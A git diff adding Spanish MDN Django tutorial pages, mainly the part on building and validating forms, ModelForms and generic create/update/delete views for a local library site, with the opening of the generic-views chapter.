proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>Primero importamos nuestro formulario (<code>RenewBookForm</code>) y una serie de otros objetos / métodos útiles utilizados en el cuerpo de la función de vista:</p> + +<ul> + <li><code><a href="https://docs.djangoproject.com/en/1.10/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: Devuelve un objeto especificado de un modelo en función de su valor de clave principal y genera una excepción <code>Http404</code> (not found) si el registro no existe. </li> + <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: Esto crea una redirección a una URL especificada (HTTP status code 302). </li> + <li><code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Esto genera una URL a partir de un nombre de configuración de URL y un conjunto de argumentos. Es el equivalente en Python de la etiqueta <code>url</code> que hemos estado usando en nuestras plantillas.</li> + <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Una libreria de Python para manejar las fechas y horas (dates and time). </li> +</ul> + +<p>En la vista, primero usamos el argumento <code>pk</code> argument en <code>get_object_or_404()</code> para obtener el actual <code>BookInstance</code> (si esto no existe, la vista se cerrará inmediatamente y la página mostrará un error "no encontrado"). Si no se trata de una solicitud POST (manejada por la cláusula else), creamos el formulario predeterminado que pasa un valor inicial (initial) para el campo renewal_date (como se muestra en negrita a continuación, esto es 3 semanas desde la fecha actual)..</p> + +<pre class="brush: python notranslate"> book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a GET (or any other method) create the default form + <strong>else:</strong> + proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>) + <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong> + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>Después de crear el formulario, llamamos <code>render()</code> para crear la página HTML, especificando la plantilla y un contexto que contiene nuestro formulario. En este caso, el contexto también contiene nuestro <code>BookInstance</code>, que usaremos en la plantilla para proporcionar información sobre el libro que estamos renovando.</p> + +<p>Sin embargo, si esto es una solicitud <code>POST</code>, entonces crearemos nuestro objeto <code>form</code> y llenarlo con datos de la solicitud. Este proceso se llama "enlace" (binding) y nos permite validar el formulario. Luego verificamos si el formulario es válido, que ejecuta todo el código de validación en todos los campos, incluido el código genérico para verificar que nuestro campo de fecha sea realmente una fecha válida y nuestra funcion del formulario <code>clean_renewal_date()</code> chequea la fecha que tenga un rango correcto. </p> + +<pre class="brush: python notranslate"> book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): +<strong> form = RenewBookForm(request.POST)</strong> + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>Si el formulario no es válido llamamos <code>render()</code> de nuevo, pero esta vez el valor del formulario pasado en el contexto incluirá mensajes de error.</p> + +<p>Si el formulario es válido, entonces podemos comenzar a usar los datos, accediendo a ellos a través del atributo <code>form.cleaned_data</code> (ejemplo <code>data = form.cleaned_data['renewal_date']</code>). Aquí solo guardamos los datos en el valor <code>due_back</code> asociado al objeto <code>BookInstance</code>.</p> + +<div class="warning"> +<p><strong>Importante</strong>: Si bien también puede acceder a los datos del formulario directamente a través de la solicitud (por ejemplo <code>request.POST['renewal_date']</code> o <code>request.GET['renewal_date']</code> (si se esta usando una solicitud GET) esto NO es recomendable. Los datos limpios se desinfectan, validan y convierten en tipos compatibles con Python.</p> +</div> + +<p>El paso final en la parte de manejo de formularios de la vista es redirigir a otra página, generalmente una página de "éxito". En este caso usamos <code>HttpResponseRedirect</code> y <code>reverse()</code> para redirigir a la vista llamada <code>'all-borrowed'</code>(esto fue creado como el "desafío" en <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a>).Si no creó esa página, considere redirigir a la página de inicio en la URL '/').</p> + +<p>Eso es todo lo necesario para el manejo del formulario en sí, pero aún debemos restringir el acceso a la vista a los bibliotecarios. Probablemente deberíamos crear un nuevo permiso en <code>BookInstance</code> ("<code>can_renew</code>"),pero para simplificar las cosas aquí solo usamos la funcion decorator <code>@permission_required</code> con nuestro existente permiso <code>can_mark_returned</code>.</p> + +<p>La vista final es, por lo tanto, como se muestra a continuación. Copie esto en la parte inferior de <strong>locallibrary/catalog/views.py</strong>.</p> + +<pre class="notranslate"><strong>from django.contrib.auth.decorators import permission_required</strong> + +from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.url import reverse +import datetime + +from .forms import RenewBookForm + +<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong> +def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst=get_object_or_404(BookInstance, pk = pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form. + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +</pre> + +<h3 id="La_plantilla">La plantilla</h3> + +<p>Crea la plantilla html referenciada en la vista dentro del directorio (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) y copia el codigo a continuacion dentro del archivo que creaste:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + + <h1>Renew: \{{bookinst.book.title}}</h1> + <p>Borrower: \{{bookinst.borrower}}</p> + <p{% if bookinst.is_overdue %} class="text-danger"{% endif %}>Due date: \{{bookinst.due_back}}</p> + +<strong> <form action="" method="post"> + {% csrf_token %} + <table> + \{{ form }} + </table> + <input type="submit" value="Submit" /> + </form></strong> + +{% endblock %}</pre> + +<p>La mayor parte de esto será completamente familiar de los tutoriales anteriores. Extendemos la plantilla base y luego redefinimos el bloque de contenido. Podemos hacer referencia<code>\{{bookinst}}</code> (y sus variables) porque se pasó al objeto de contexto en la funci'on <code>render()</code>,y los usamos para colocar el título del libro, el prestatario y la fecha de vencimiento original.</p> + +<p>El código del formulario es relativamente simple. Primero declaramos las etiquetas del <code>form</code>,especificando dónde se debe enviar el formulario (<code>action</code>) y el <code>metodo</code> para enviar los datos (en este caso, una "POST HTTP"), si recuerda el <a href="#HTML_forms">HTML Forms</a> resumen en la parte superior de la página, un espacio vacío <code>action</code>como se muestra, significa que los datos del formulario se volverán a publicar en la URL actual de la página (¡que es lo que queremos!). Dentro de las etiquetas definimos la enntrada (input) <code>submit</code>, que un usuario puede presionar para enviar los datos. Esto <code>{% csrf_token %}</code> es agregado justo dentro de las etiquetas de formulario es parte de la protección de falsificación entre sitios de Django.</p> + +<div class="note"> +<p><strong>Nota:</strong> Agregue el {% csrf_token%} a cada plantilla de Django que cree que use POST para enviar datos. Esto reducirá la posibilidad de que usuarios malintencionados secuestran formularios.</p> +</div> + +<p>Todo lo que queda es la variable de la plantilla <code>\{{form}}</code>, <span class="tlid-translation translation" lang="es"><span title="">que pasamos a la plantilla en el diccionario de contexto.</span> <span title="">Quizás, como era de esperar, cuando se usa como se muestra, proporciona la representación predeterminada de todos los campos del formulario, incluidas sus etiquetas, widgets y texto de ayuda; la representación es la que se muestra a continuación:</span></span></p> + +<pre class="brush: html notranslate"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> + <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr> +</pre> + +<div class="note"> +<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Quizás no sea obvio porque solo tenemos un campo, pero de forma predeterminada cada campo se define en su propia fila de tabla (razón por la cual la variable está dentro de la etiqueta</span></span> <code>table </code>arriba).Esta misma representación (rendering) se proporciona si hace referencia a la variable de plantilla <code>\{{ form.as_table }}</code>.</p> +</div> + +<p>Si tuviera que ingresar una fecha no válida, también obtendría una lista de los errores que se muestran en la página (en negrita a continuación).</p> + +<pre class="brush: html notranslate"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> +<strong> <ul class="errorlist"> + <li>Invalid date - renewal in past</li> + </ul></strong> + <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr></pre> + +<h4 id="Otras_formas_de_usar_variable_de_la_plantilla_de_formulario">Otras formas de usar variable de la plantilla de formulario</h4> + +<p>Usando <code>\{{form}}</code> como se muestra arriba, cada campo se representa como una fila de la tabla. También puede representar cada campo como un elemento de la lista (usando <code>\{{form.as_ul}}</code> ) o como un parrafo (usando <code>\{{form.as_p}}</code>).</p> + +<p>Lo que es aún más genial es que puede tener un control completo sobre la representación de cada parte del formulario, indexando sus propiedades mediante la notación de puntos. Entonces, por ejemplo, podemos acceder a una serie de elementos separados de los campos de <code>renewal_date</code>-</p> + +<ul> + <li><code>\{{form.renewal_date}}:</code> The whole field.</li> + <li><code>\{{form.renewal_date.errors}}</code>: The list of errors.</li> + <li><code>\{{form.renewal_date.id_for_label}}</code>: The id of the label.</li> + <li><code>\{{form.renewal_date.help_text}}</code>: The field help text.</li> + <li>etc!</li> +</ul> + +<p>Para obtener más ejemplos de cómo reproducir manualmente los formularios en plantillas y recorrer dinámicamente los campos de la plantilla, vea <a href="https://docs.djangoproject.com/en/1.10/topics/forms/#rendering-fields-manually">Working with forms > Rendering fields manually</a> (Django docs).</p> + +<h3 id="Probando_la_página">Probando la página</h3> + +<p>Si aceptó el "desafío" en <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a> tendrá una lista de todos los libros prestados en la biblioteca, que solo es visible para el personal de la biblioteca. Podemos agregar un enlace a nuestra página de renovación al lado de cada artículo usando el código de plantilla a continuación.</p> + +<pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> + +<div class="note"> +<p><strong>Nota</strong>: Recuerde que su inicio de sesión de prueba deberá tener el permiso "<code>catalog.can_mark_returned</code>" para acceder a la página de renovar el libro (quizás use su cuenta de superusuario).</p> +</div> + +<p>Alternativamente, puede construir manualmente una URL de prueba como esta — <a href="http://127.0.0.1:8000/catalog/book/<bookinstance id>/renew/">http://127.0.0.1:8000/catalog/book/<em><bookinstance_id></em>/renew/</a> (se puede obtener un ID de instancia de libro válido navegando a la página de detalles de un libro en su biblioteca y copiando el campo <code>id</code>).</p> + +<h3 id="Como_se_ve">Como se ve?</h3> + +<p>Si tiene éxito, el formulario predeterminado se verá así:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p> + +<p>El formulario con un valor no válido ingresado se verá así:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p> + +<p>La lista de todos los libros con enlaces renovados se verá así:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p> + +<h2 id="ModelForms">ModelForms</h2> + +<p>Crear una clase <code>Form</code> utilizando el enfoque descrito anteriormente es muy flexible, lo que le permite crear cualquier tipo de página de formulario que desee y asociarla con cualquier modelo o modelos.</p> + +<p>Sin embargo, si solo necesita un formulario para asignar los campos de un solo modelo, entonces su modelo ya definirá la mayor parte de la información que necesita en su formulario: campos, etiquetas, texto de ayuda, etc. En lugar de recrear las definiciones de modelo en su formulario , es más fácil usar una clase auxiliar <a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">ModelForm</a> para crear el formulario a partir de su modelo. El <code>ModelForm</code> puede usarse dentro de sus vistas exactamente de la misma manera que un ordinario <code>Form</code>.</p> + +<p>Un <code>ModelForm</code> que contiene el mismo campo que nuestro original <code>RenewBookForm</code>se muestra a continuación. Todo lo que necesita hacer para crear el formulario es agregar <code>class Meta</code> with the associated <code>model</code> (<code>BookInstance</code>) y una lista de los campos del modelo <code>fields</code>para incluir en el formulario (puede incluir todos los campos usando <code>fields = '__all__'</code>, o puedes usar <code>exclude</code> (en vez de <code>fields</code>) para especificar los campos que no se incluirán del modelo).</p> + +<pre class="brush: python notranslate">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> class Meta: + model = BookInstance + fields = ['due_back',]</strong> +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Esto podría no parece mucho más simple que simplemente usar un <code>Form</code>(y no es en este caso, porque solo tenemos un campo). Sin embargo, si tiene muchos campos, puede reducir la cantidad de código de manera bastante significativa.</p> +</div> + +<p>El resto de la información proviene de las definiciones de campo del modelo (por ejemplo, etiquetas, widgets, texto de ayuda, mensajes de error). Si estos no son del todo correctos, entonces podemos anularlos en nuestro <code>class Meta</code>, especificando un diccionario que contiene el campo a cambiar y su nuevo valor. Por ejemplo, en este formulario podríamos querer una etiqueta para nuestro campo de "Fecha de renovación" (en lugar del valor predeterminado basado en el nombre del campo: Fecha de vencimiento), y también queremos que nuestro texto de ayuda sea específico para este caso de uso. El <code>Meta</code> a continuación le muestra cómo anular estos campos, y puede configurar de manera similar <code>widgets</code> y <code>error_messages</code> si los valores predeterminados no son suficientes.</p> + +<pre class="brush: python notranslate">class Meta: + model = BookInstance + fields = ['due_back',] +<strong> labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong> +</pre> + +<p>Para agregar validación, puede usar el mismo enfoque que para un normal <code>Form</code> — define una función llamada <code>clean_<em>field_name</em>()</code> y coloca (raise) <code>ValidationError</code> excepciones para valores no válidos. La única diferencia con respecto a nuestro formulario original es que el campo modelo se llama <code>due_back</code> y no "<code>renewal_date</code>".</p> + +<pre class="brush: python notranslate">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> def clean_due_back(self): + data = self.cleaned_data['due_back'] + + #Check date is not in past. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Check date is in range librarian allowed to change (+4 weeks) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Remember to always return the cleaned data. + return data +</strong> + class Meta: + model = BookInstance + fields = ['due_back',] + labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } +</pre> + +<p>La clase <code>RenewBookModelForm</code> a continuación es ahora funcionalmente equivalente a nuestro original <code>RenewBookForm</code>. Puede importarlo y usarlo donde quiera que lo use actualmente <code>RenewBookForm</code>.</p> + +<h2 id="Vistas_de_edición_genéricas">Vistas de edición genéricas</h2> + +<p>El algoritmo de manejo de formularios que utilizamos en nuestro ejemplo de vista de funciones anterior representa un patrón extremadamente común en las vistas de edición de formularios. Django extrae gran parte de esta "plantilla" para ti, para crear vistas de edición genéricas ( <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">generic editing views</a> ) para crear, editar y eliminar vistas basadas en modelos. No solo manejan el comportamiento de "vista", sino que crean automáticamente la clase de formulario (un <code>ModelForm</code>) para tu modelo.</p> + +<div class="note"> +<p><strong>Nota: </strong>Además de las vistas de edición descritas aquí, también hay una clase <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a> , que se encuentra en algún lugar entre nuestra vista de función y las otras vistas genéricas en términos de "flexibilidad" frente a "esfuerzo de codificación". Usando <code>FormView</code> tu necesitas crear el <code>Form</code>, pero no tiene que implementar todo el patrón estándar de manejo de formularios. En su lugar, solo tiene que proporcionar una implementación de la función que se llamará una vez que se sepa que el envío es válido.</p> +</div> + +<p>En esta sección, vamos a usar vistas de edición genéricas para crear páginas para agregar funcionalidad para crear, editar y eliminar registros de <code>Author</code> de nuestra libreria — Proporcionar efectivamente una reimplementación básica de partes del sitio de administración (esto podría ser útil si necesita ofrecer la funcionalidad de administrador de una manera más flexible que puede proporcionar el sitio de administrador).</p> + +<h3 id="Views">Views</h3> + +<p>Abre el archivo de vistas (<strong>locallibrary/catalog/views.py</strong>) y agregue el siguiente bloque de código al final:</p> + +<pre class="brush: python notranslate">from django.views.generic.edit import CreateView, UpdateView, DeleteView +from django.urls import reverse_lazy +from .models import Author + +class AuthorCreate(CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'05/01/2018',} + +class AuthorUpdate(UpdateView): + model = Author + fields = ['first_name','last_name','date_of_birth','date_of_death'] + +class AuthorDelete(DeleteView): + model = Author + success_url = reverse_lazy('authors')</pre> + +<p>Como puede ver, para crear las vistas de las que necesita derivar <code>CreateView</code>, <code>UpdateView</code>, y <code>DeleteView</code> (respectivamente) y luego definir el modelo asociado.</p> + +<p>Para los casos de "crear" y "actualizar", también debe especificar los campos para mostrar en el formulario (utilizando la misma sintaxis que para <code>ModelForm</code>). En este caso, mostramos la sintaxis para mostrar "todos" los campos y cómo puede enumerarlos individualmente. También puede especificar valores iniciales para cada uno de los campos utilizando un diccionario de pares nombre_campo / valor (aquí establecemos arbitrariamente la fecha de fallecimiento para fines de demostración; ¡es posible que desee eliminar eso!). Por defecto, estas vistas redirigirán en caso de éxito a una página que muestre el elemento del modelo recién creado / editado, que en nuestro caso será la vista detallada del autor que creamos en un tutorial anterior. Puede especificar una ubicación alternativa de redireccionamiento declarando explícitamente el parámetro <code>success_url</code> (como hecho en la clase <code>AuthorDelete</code> ).</p> + +<p>La clase <code>AuthorDelete</code> no necesita mostrar ninguno de los campos, por lo que no es necesario especificarlos. Sin embargo, debe especificar el <code>success_url</code>, porque no hay un valor predeterminado obvio para que Django lo use. En este caso usamos la función <code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code> para redirigir a nuestra lista de autores después de que un autor ha sido eliminado — <code>reverse_lazy()</code> is a lazily executed version of <code>reverse()</code>, se usa aquí porque estamos proporcionando una URL a un atributo de vista basado en clases.</p> + +<h3 id="Templates_-_Plantillas">Templates - Plantillas</h3> + +<p>Las vistas "create" y "update" utilizan la misma plantilla de forma predeterminada, que se nombrará después de su model: <em>model_name</em><strong>_form.html</strong> (puedes cambiar el sufijo a algo diferente a <strong>_form</strong> usando el campo <code>template_name_suffix</code>en tu vista, ejemplo: <code>template_name_suffix = '_other_suffix'</code>)</p> + +<p>Crea la siguiente plantilla <strong>locallibrary/catalog/templates/catalog/author_form.html </strong> y copia el siguiente texto:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +<form action="" method="post"> + {% csrf_token %} + <table> + \{{ form.as_table }} + </table> + <input type="submit" value="Submit" /> + +</form> +{% endblock %}</pre> + +<p>Esto es similar a nuestros formularios anteriores y representa los campos usando una tabla. Tenga en cuenta también cómo declaramos nuevamente<code>{% csrf_token %}</code> para garantizar que nuestros formularios sean resistentes a los ataques CSRF.</p> + +<p>La vista "delete" espera encontrar una plantilla con el formato <em>model_name</em><strong>_confirm_delete.html</strong> (de nuevo, puedes cambiar el sufijo usando <code>template_name_suffix</code> en tu vista). Crea la siguiente plantilla <strong>locallibrary/catalog/templates/catalog/author_confirm_delete.html</strong> y copia en el texto a continuación.</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +<h1>Delete Author</h1> + +<p>Are you sure you want to delete the author: \{{ author }}?</p> + +<form action="" method="POST"> + {% csrf_token %} + <input type="submit" action="" value="Yes, delete." /> +</form> + +{% endblock %} +</pre> + +<h3 id="Configuración_de_URL">Configuración de URL</h3> + +<p>Abra el archivo de configuración de URL (<strong>locallibrary/catalog/urls.py</strong>) y agregue la siguiente configuración al final del archivo:</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^author/create/$', views.AuthorCreate.as_view(), name='author_create'), + url(r'^author/(?P<pk>\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'), + url(r'^author/(?P<pk>\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'), +]</pre> + +<p>¡No hay nada particularmente nuevo aquí! Puede ver que las vistas son clases y, por lo tanto, deben llamarse a través de <code>.as_view()</code>,y deberías poder reconocer los patrones de URL en cada caso. Debemos usar <code>pk</code> como el nombre de nuestro valor de clave principal (primary key) capturado, ya que este es el nombre del parámetro esperado por las clases de vista.</p> + +<p>Las páginas de crear, actualiza y eliminar autor ahora estan listas para probar (no nos molestaremos en engancharlas en la barra lateral del sitio en este caso, aunque puede hacerlo si lo desea).</p> + +<div class="note"> +<p><strong>Nota</strong>:¡Los usuarios observadores habrán notado que no hicimos nada para evitar que usuarios no autorizados accedan a las páginas! Lo dejamos como un ejercicio para usted (pista: puede usar el <code>PermissionRequiredMixin</code> y cree un nuevo permiso o reutilice nuestro permiso <code>can_mark_returned</code> ).</p> +</div> + +<h3 id="Probando_la_página_2">Probando la página</h3> + +<p>Primero inicie sesión en el sitio con una cuenta que tenga los permisos que haya decidido que se necesitan para acceder a las páginas de edición del autor.</p> + +<p>Luego navegue a la página de creación del autor: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>, que debería verse como la captura de pantalla a continuación.</p> + +<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p> + +<p>Ingrese los valores para los campos y luego presione <strong>Submit</strong> para guardar el registro del autor. Ahora debería ser llevado a una vista detallada para su nuevo autor, con una URL de algo como <em>http://127.0.0.1:8000/catalog/author/10</em>.</p> + +<p>Puede probar la edición de registros agregando <em>/update/</em> hasta el final de la vista detallada URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/update/</em>) — no mostramos una captura de pantalla, porque se parece a la página "create".</p> + +<p>Por último, podemos eliminar el autor, agregando eliminar (delete) al final de la vista detallada del autor URL (ejemplo. <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django debería mostrar la página de eliminación que se muestra a continuación. pulse <strong>Yes, delete.</strong> para eliminar el registro y ser llevado a la lista de todos los autores.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p> + +<h2 id="Retarte_a_ti_mismo">Retarte a ti mismo</h2> + +<p>Crea algunos formularios para crear, editar y eliminar registros de <code>Book</code>.Puede usar exactamente la misma estructura de <code>Authors</code>. Si tu plantilla <strong>book_form.html</strong> es solo una versión renombrada de la copia de la plantilla <strong>author_form.html</strong>, entonces la nueva página "crear libro" se verá como la captura de pantalla a continuación:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>¡Crear y manejar formularios puede ser un proceso complicado! Django lo hace mucho más fácil al proporcionar mecanismos programáticos para declarar, representar y validar formularios. Además, Django proporciona vistas genéricas de edición de formularios que pueden hacer casi todo el trabajo para definir páginas que pueden crear, editar y eliminar registros asociados con una sola instancia de modelo.</p> + +<p>Hay mucho más que se puede hacer con los formularios (consulte nuestra lista Vea también a continuación), pero ahora debe comprender cómo agregar formularios básicos y código de manejo de formularios a sus propios sitios web.</p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/">Working with forms</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 > Writing a simple form</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/">The Forms API</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/">Form fields</a> (Django docs) </li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Form and field validation</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/generic_views/index.html b/files/es/learn/server-side/django/generic_views/index.html new file mode 100644 index 0000000000..7eb6830a87 --- /dev/null +++ b/files/es/learn/server-side/django/generic_views/index.html @@ -0,0 +1,640 @@ +--- +title: 'Tutorial de Django Parte 6: Listas genéricas y vistas de detalle' +slug: Learn/Server-side/Django/Generic_views +tags: + - Aprender + - Principiante + - Tutorial + - django + - plantillas django + - vistas django +translation_of: Learn/Server-side/Django/Generic_views +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div> + +<p class="summary">Este tutorial extiende nuestro sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style="font-size: 1.25rem;">BibliotecaLocal</a><span style="font-size: 1.25rem;">, añadiendo páginas de listas y detalles de libros y autores. Aquí aprenderemos sobre vistas genéricas basadas en clases, y mostraremos cómo éstas pueden reducir la cantidad de código que tienes que escribir para casos de uso común. También entraremos en el manejo de URL en gran detalle, mostrando cómo realizar un emparejamiento de patrones básico</span><span style="font-size: 1.25rem;">.</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Requisitos previos:</th> + <td> + <p>Completa todos los tópicos anteriores del tutorial, incluyendo <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creación de tu página de inicio</a>.</p> + </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Entender dónde y cómo usar las vistas genéricas basadas en clases, y cómo extraer patrones desde las URLs y enviar la información a las vistas.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Visión_General">Visión General</h2> + +<p>En este tutorial vamos a completar la primera versión del sitio web <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a> añadiendo páginas de lista y detalle para libros y autores (o para ser más precisos, te mostraremos cómo implementar las páginas de libros, ¡y te dejaremos crear las páginas de autores por tí mismo!)</p> + +<p>El proceso es similar al de creación de la página índice, que mostramos en el tutorial anterior. Aquí también necesitaremos crear mapeos URL, vistas y plantillas. La principal diferencia es que para las páginas de detalle tendremos el reto adicional de extraer información desde patrones en las URLs y pasarla a la vista. Para estas 